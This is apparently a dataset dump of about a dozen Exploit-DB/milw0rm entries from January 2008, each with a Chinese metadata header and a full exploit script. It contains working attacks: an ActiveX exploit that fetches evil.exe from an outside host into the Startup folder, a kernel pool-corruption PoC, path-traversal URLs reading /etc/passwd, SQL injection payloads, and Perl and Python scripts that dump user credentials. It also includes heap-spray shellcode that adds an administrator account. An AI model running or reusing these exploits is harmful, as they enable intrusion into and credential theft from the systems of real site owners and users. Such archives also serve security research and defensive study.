QLWD/code_shield huggingface dataset:
标题: Macrovision FlexNet DownloadManager - Insecure Methods EDB-ID: 4909 CVE: 2008-4587 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-14 漏洞利用脚本: <!-- 
Macrovision FlexNet DownloadManager Insecure Methods Exploit
Implemented Categories:
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, ISDM.exe version 6.1.100.61372
-->
<html>
 <head>
  <title>Macrovision FlexNet DownloadManager Insecure Methods Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
 var mJob = obj.CreateJob("SomeJob",0,"{11111111-1111-1111-1111-111111111111}");
 
 mJob.AddFile("http://www.evilsite/evil.exe","C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\harmless.exe");
 mJob.SetPriority(0);
 mJob.SetNotifyFlags(2);
 mJob.ScheduleInterval = 2;
 
 obj.RunScheduledJobs();
                
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:FCED4482-7CCB-4E6F-86C9-DCB22B52843C" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2008-01-14] URL: https://www.exploit-db.com/exploits/4909
标题: Cisco VPN Client - IPSec Driver Local kernel system pool Corruption (PoC) EDB-ID: 4911 CVE: 2008-0324 类型: DOS 平台: WINDOWS 发布日期: 2008-01-15 漏洞利用脚本: /* cpndrv-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC
 * by mu-b - Sat 11 Jan 2008
 *
 * - Tested on: CVPNDRVA.sys 5.0.02.0090
 *
 * specifying an input buffer size less-than 8+31-bytes results in the
 * local kernel non-paged pool (METHOD_BUFFERED) being corrupted with
 * uninitialised (dangling) kernel stack memory via an inline memcpy.
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define CVPN_IOCTL    0x80002038
#define CVPN_LEN      0x10       /* n < 8 + 31 */

struct ioctl_req {
  char arg[CVPN_LEN];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("Cisco VPN Client IPSec Driver local kernel system pool corruption PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  hFile = CreateFileA ("\\\\.\\CVPNDRVA", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0x00, sizeof req);
  req.arg[0] = 0x69;

  /* corrupt the system pool */
  printf ("* hitting.. [sizeof: %d]\n", sizeof req);
  Sleep (5000);

  result = DeviceIoControl (hFile, CVPN_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-01-15] URL: https://www.exploit-db.com/exploits/4911
标题: minimal Gallery 0.8 - Remote File Disclosure EDB-ID: 4902 CVE: 2008-0260 2008-0259 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-13 漏洞利用脚本: # Script : minimal Gallery 0.8                                                  
# Download : http://minimaldesign.net/downloads/projects/minimal-gallery                         
# BUG :  Remote File Disclosure Vulnerability  
# Dork : powered by minimal Gallery 0.8
         
## Vulnerable CODE :
~~~~~~~~~ /_mg/php/mg_thumbs.php ~~~~~~~~~~~~~~~~~
readfile("../$thumbs_dir/$thumbcat$thumb");

the variables thumbcat & thumb are defined in page mg_thumbs.php like that : 
$thumbcat = $_GET['thumbcat'];
$thumb = $_GET['thumb'];
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   

# Exploit : 

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php


# phpinfo(); View >> [Target.il]/[Path_mGallery]/php_info.php


# greezt :  coNan , GoLd_M , RoMaNcYxHaCkEr , Rachidox ,  and all muslims Hackers 

######################################################################################
#              H-T TeaM {HouSSaMix _ ToXiC350}  from MoRoCCo                         #
######################################################################################

# milw0rm.com [2008-01-13] URL: https://www.exploit-db.com/exploits/4902
标题: Binn SBuilder - 'nid' Blind SQL Injection EDB-ID: 4904 CVE: 2008-0253 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-13 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+              Binn SBuilder (nid) Remote Blind Sql Injection Vulnerabily            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Binn SBuilder
[~] HomePage: http://www.cms.ge/
[~] Exploit: Blind Sql Injection [High]
[~] Where: full_text.php?nid=
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "Powered by CMS.GE"
[~] Dork2: priv8!

[+] Important tables and columns:

[*] Tables:

[~] Table: binn_users

[*] Columns:

[~] Column: bu_id
[~] Column 2: bu_login
[~] Column 3: bu_pass
[~] Column 4: bu_name
[~] Column 5: bu_admin
[~] Column 6: bu_last_ip
[~] Column 7: bu_last_date

[+] Compression:

[~] True: http://localhost/[path]/full_text.php?nid=[NUM] and 1=1
[~] False: http://localhost/[path]/full_text.php?nid=[NUM] and 1=2
[~] Example: http://localhost/[path]/full_text.php?nid=4855 and 1=1
[~] Example2: http://localhost/[path]/full_text.php?nid=4855 and 1=2
[~] If you see the Web correctly is true, if it is not false.

[+] Exploding:

[*] Checking table: 

[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/full_text.php?nid=[NUM] and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(*) FROM binn_users) >= 0
[~] Example2: http://localhost/[path]/full_text.php?nid=4855 and exists (select * from binn_users)
[~] If you don't see any error, it is that table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(*) FROM binn_users) = 7
[~] If you don't see any error, the table has 6 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(bu_pass) FROM binn_users) >= 0
[~] If you don't see any error, the column exists.

[*] Admin Password; Noob or Lammer?:

[~] Exploit: Priv8
[~] Example: Priv8
[~] Priv8 , xD.

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-01-13] URL: https://www.exploit-db.com/exploits/4904
标题: TutorialCMS 1.02 - 'Username' SQL Injection EDB-ID: 4901 CVE: 2008-0254 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-12 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 TutorialCMS 1.02 Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by ka0x
contact: ka0x01[at]gmail.com
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
#from spain

download http://www.wavelinkmedia.com/scripts/tutorialcms/

need magic_quotes_gpc = off

vulnerability in activate.php

vuln code:
[...]

$userName = $_GET["userName"];
$code     = $_GET["activate"];
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";

[...]

/etc/password:
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/*

User and Password from mysql.user:
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/mysql.user/*

POC: http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(0x757365723a20,username,0x20706173733a20,password),6,7,8,9,9,9,9,9/**/from/**/users/*

The encription of password is MD5
login: http://[host]/admin

# milw0rm.com [2008-01-12] URL: https://www.exploit-db.com/exploits/4901
标题: Xforum 1.4 - 'topic' SQL Injection EDB-ID: 4908 CVE: 2008-0279 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-14 漏洞利用脚本: #!/usr/bin/perl
#######################################################
#
# Xforum 1.4 Remote SQL Injection
# desc: Un forum php/MySQL, avec gestion complete des membres et des messages
# download: http://www.comscripts.com/scripts/php.xforum.1188.html
# d0rk: "xforum 1.4"
# bug found by j0j0
# c0ded by j0j0
#
# liretopic.php
# 68.       $conn = connect();
# 69.       $requete = "SELECT titre,closed,place,cara FROM topic WHERE numero=".$_GET['topic']." AND categorie=".$_GET['categorie'];
# 70.       $res = mysql_query($requete) or    die(mysql_error());
# 71.       $proptopic = mysql_fetch_row($res);
#
#######################################################

use LWP::UserAgent;
use HTTP::Request::Common;
$lwp = new LWP::UserAgent;

$host = $ARGV[0];

print q{
----------------------------------------------
      .: Xforum 1.4 Remote SQL Injection :.
----------------------------------------------
  c0ded by: j0j0
  download: http://www.comscripts.com/scripts/php.xforum.1188.html
  desc: Un forum php/MySQL, avec gestion complete des membres et des messages
  d0rk: "xforum 1.4"
----------------------------------------------
};
 
if(!$ARGV[0]) {
    print "[*] Usage: perl $0 [HOST]\n";
    print "[*] Example: perl $0 http://mysite.com/forum\n";
    exit(1);
}
 
print "\n[*] Connecting to $host...\n";
$i=0;
while(true) {
    $go=$lwp->get($host."/liretopic.php?categorie=1&topic=-1/**/UNION/**/SELECT/**/CONCAT(0x21232321,pseudo,char(58),pass,char(58),mail,0x21232321),1,2,3/**/FROM/**/inscrit/**/LIMIT/**/$i,100000/**//*&nbpage=1&nbpageliste=1");
    if($go->content =~ m/!##!(.*?)!##!/ms) {
        @res = split(/:/, $1);
        $res[1] = substr($res[1], 0, 32);
        print "\n[+] Username : $res[0]\n";
        print "[+] Password : $res[1]\n";
        if($res[2] =~ /(.*?)@(.*?)/) {
            print "[+] Mail : $res[2]\n";
        }
        $i++;
    }
    else {
        if($i == 0) {
            print "[-] Exploit failed\n";
        }
        exit(1);
    }
}

# milw0rm.com [2008-01-14] URL: https://www.exploit-db.com/exploits/4908
标题: QuickTime Player 7.3.1.70 - 'RTSP' Remote Buffer Overflow EDB-ID: 4906 CVE: 2008-0234 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-14 漏洞利用脚本: Quicktime Player 7.3.1.70 rtsp Remote Buffer Overflow Exploit PoC

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4906.zip (2008-quicktimebof.zip)

# milw0rm.com [2008-01-14] URL: https://www.exploit-db.com/exploits/4906
标题: photokron 1.7 - Remote Database Disclosure EDB-ID: 4897 CVE: 2008-0297 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-11 漏洞利用脚本: #!/usr/bin/perl
#Script : PhotoKron All Version
#All Version
#Author : Pr0metheuS
#Gr33tz to Gr33tz-Team
#Gr33tz-Team.ORG
#Dork : "Powered by photokorn"
### INFO ##
# Works IF /update/ is on server...60% site are vulnerable....
## INFO ##
use LWP::UserAgent;
if (@ARGV!=2) {
 print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n";
    print "perl $0 <site> <path>\n";
 print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
}
(my $site,my $path)=@ARGV;
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "".$site."".$path."/update/update3.php");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
my $con = $res->content;
if ($res->is_success) {
 print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n\n";
    
if($con =~ /<input type="text" value="(.*)" name="dbname">/){
 $dbname = $1;
 print "[+] DBNAME : $dbname\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbhost">/){
 $dbhost = $1;
 print "[+] DBHOST : $dbhost\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbusername"><\/td>/){
 $dbuser = $1;
 print "[+] DBUSER : $dbuser\n";
}
if($con =~ /<input type="password" value="(.*)" name="dbpassword"><\/td>/){
 $dbpass = $1;
 print "[+] DBPASSWORD : $dbpass\n";
}
print "-=-=-=-=-=-=-=-=-=-=-=--=\n";



}
else{
 print "[+] Exploit Failed...\n";
}

# milw0rm.com [2008-01-11] URL: https://www.exploit-db.com/exploits/4897
标题: NUVICO DVR NVDV4 / PdvrAtl Module 'PdvrAtl.DLL 1.0.1.25' - Remote Buffer Overflow EDB-ID: 4903 CVE: 2008-4547 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-13 漏洞利用脚本: <!--
NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) remote heap
overflow exploit (IE7/XP SP2)

check a camera demo here: http://www.2mcctv.com/2mdemo.php
codebase: http://www.dvrstation.com/pdvratl.php?vendor=0

rgod /////////////////////////////// http://retrogod.altervista.org
-->
<html>
<script language="javascript">
//add su one, user: sun pass: tzu
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<500;i++){memory[i] = block+shellcode}
var suntzu = new ActiveXObject("PdvrAtl.PdvrOcx.1");//D64CF6D4-45DF-4D8F-9F14-E65FADF2777C
wszFormat="";
for (i=0;i<=1666;i++){wszFormat=wszFormat + unescape("%0d")}
nTime=1;
suntzu.TimeSpanFormat(nTime ,wszFormat);
</script>
</html>

# milw0rm.com [2008-01-13] URL: https://www.exploit-db.com/exploits/4903
标题: ImageAlbum 2.0.0b2 - 'id' SQL Injection EDB-ID: 4895 CVE: 2008-0288 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-11 漏洞利用脚本: ImageAlbum Remote SQL Injection Vulnerabilities
-------------------------------------------------------------------------

Product: ImageAlbum
Version: Latest 2.0.0b2, others not tested
Vendor:  http://imagealbum.sourceforge.net/
Date:     01/10/08

- Introduction

ImageAlbum is a web application written in PHP for displaying and editing
picture collections.  It features user accounts and picture comments.

- Details

Multiple SQL injection vulnerabilities exist, that can result in user
credentials being compromised or the modification of the database.

In classes/IADomain.php
$sql = "SELECT * FROM `iaimage`
WHERE `id` = $id AND `domain_id` = $this->id LIMIT 1";

In classes/IACollection.php
$sql = "SELECT * FROM `iacollection` WHERE `id` = $this->id";

In classes/IAUser.php
$sql = "SELECT * FROM `iauser` WHERE `id` = $this->id";

Other SQL statements in the application are also vulnerable.

- Proof of Concept

The following example exploits the image viewer page by placing the password
of a user into the src attribute of the img tag instead of the correct path
to the image.  User passwords are stored in plain-text.

http://[site]/index.php/[domain]/?action=collection.imageview&id=643635 union all select iaimage.id, iaimage.name, description, iaimage.collection_id, iaimage.domain_id, password As path, access, visits, checked FROM iaimage, iauser WHERE iaimage.id=411 /*

Note, 643635 is an invalid image id and 411 is a known valid image id.

- Solution

Edit the source code to insure that all user input is properly sanitised.

Cheers,
dB <dB [at] rawsecurity ! org>

# milw0rm.com [2008-01-11] URL: https://www.exploit-db.com/exploits/4895
标题: Agares phpAutoVideo 2.21 - 'articlecat' SQL Injection (1) EDB-ID: 4898 CVE: 2008-0262 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-12 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Agares PhpAutoVideo v2.21 Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
bug found by ka0x
concat: ka0x01[at]gmail.com>
#from spain

vulnerability in /includes/articleblock.php

vuln code:
------------------------------------------------------------------
$cat = $_GET['articlecat'];
if ($cat == NULL){ $sql = "SELECT * FROM amcms_articles;"; }
else{ $sql = "SELECT * FROM amcms_articles WHERE catid=$cat;"; }
------------------------------------------------------------------

Your user needs to be root@localhost or administrator mysql, check:
http://[host]/includes/articleblock.php?articlecat=-1/**/union/**/select/**/user()/*

user and password from mysql.user:
http://[host]/phpautovideo/includes/articleblock.php?articlecat=-1/**/union/**/select/**/concat(user,0x203a3a20,password)/**/from/**/mysql.user/*

# milw0rm.com [2008-01-12] URL: https://www.exploit-db.com/exploits/4898
标题: X7 Chat 2.0.5 - 'day' SQL Injection EDB-ID: 4907 CVE: 2008-0278 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-14 漏洞利用脚本: #!/usr/bin/python
#
#Exploit for xchat 2.0.5
#Saca los usuarios y los hash
#By nonroot - 2008
#it's a PoC, please use responsibly
#
import string,urllib
import sys,re
print "Target host: i.e: http://127.0.0.1/x7chat/"
host=raw_input("Target host ( include http and /): ")
print "Output file: i.e: salida.txt"
out_file=raw_input("Output file: ")
print "trying ..."
SQL_users="1%20UNION%20select%20username,id,username%20from%20x7chat2_users%20--"
SQL_hashs="1%20UNION%20select%20username,id,password%20from%20x7chat2_users%20--"
link_attack=host+"index.php?act=sm_window&page=event&day="
response = urllib.urlopen(link_attack + SQL_users).read()
findall_users=re.compile("</b>(\w+)<Br><Br>").findall
found_users=findall_users(response)
if len(found_users)==0:
 print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
 print "Or, there are not users, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
 sys.exit()
#Find the hashs
response = urllib.urlopen(link_attack + SQL_hashs).read()
findall_hashs=re.compile("</b>(\w+)<Br><Br>").findall
found_hashs=findall_hashs(response)
if len(found_hashs)==0:
 print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
 print "Or, there are not hashs, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
 sys.exit()
#Save all this at file
file = open(out_file, "w")
file.write("*********************************************************************\n")
file.write("\n")
file.write("HOST:")
file.write(" ")
file.write(host)
file.write("\n")
file.write("\n")
file.write("USER      HASH\n")
file.write("possible admin user: ")
file.write(found_users[0])
file.write("   ")
file.write(found_hashs[0])
file.write("\n")
for i in range(len(found_users)):
 file.write(found_users[i])
 file.write("       ")
 file.write(found_hashs[i])
 file.write("\n")
file.write("\n")
file.write("*********************************************************************\n")
file.close()
print "Successfull, please review the ",out_file," file."

# milw0rm.com [2008-01-14] URL: https://www.exploit-db.com/exploits/4907
标题: Agares phpAutoVideo 2.21 - 'articlecat' SQL Injection (2) EDB-ID: 4905 CVE: 2008-0262 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-13 漏洞利用脚本: #!/usr/bin/perl
#Agares PhpAutoVideo 2.21 (articlecat) Remote SQL Injection Exploit
#Bug Found by ka0x ( http://milw0rm.org/exploits/4901 ).. but sql injection works if we include in index.php bug file with sql injection..like this :
#http://192.168.1.102/video/UPLOAD/index.php?loadpage=./includes/articleblock.php&articlecat=[SQL]
#So.. we can execute sql query and we have user admin & pass in MD5
#Exploit by Pr0metheus
#Gr33tz to Gr33tz-Team.org
#Dork : "powered by AMCMS3"
###############################################
use LWP::UserAgent;
if(@ARGV!=3){
 print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
 print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n";
 print "perl $0 <site> <path> <prefix>\n";
    print "default prefix - amcms\n";
 print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
}
($site,$path,$prefix)=@ARGV;
$file  = "index.php?loadpage=./includes/articleblock.php&articlecat=";
$query = "1+and+1=2+UNION+SELECT+userkey,username,password,4,5,6,7,8,9,10+from+".$prefix."_users+where+userkey=1/*";
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "".$site."".$path."".$file."".$query."");
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
$con = $res->content;
if($con =~ /<p>(.*)<\/p>/){
 $p = $1;
 print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
 print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n\n";
 print "[+] Admin Pass : ".$p."\n";
 
 if($con =~/">(.*)<\/a><\/h1>/){
  $u = $1;
  print "[+] Admin Username : ".$u."\n";
  print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
 
 }
 else{
  print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
  print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n\n";
  print "[+] Exploit Failed...\n";
  print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
 }
}
else{
 print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
 print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n\n";
 print "[+] Exploit Failed...\n";
 print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
}

# milw0rm.com [2008-01-13] URL: https://www.exploit-db.com/exploits/4905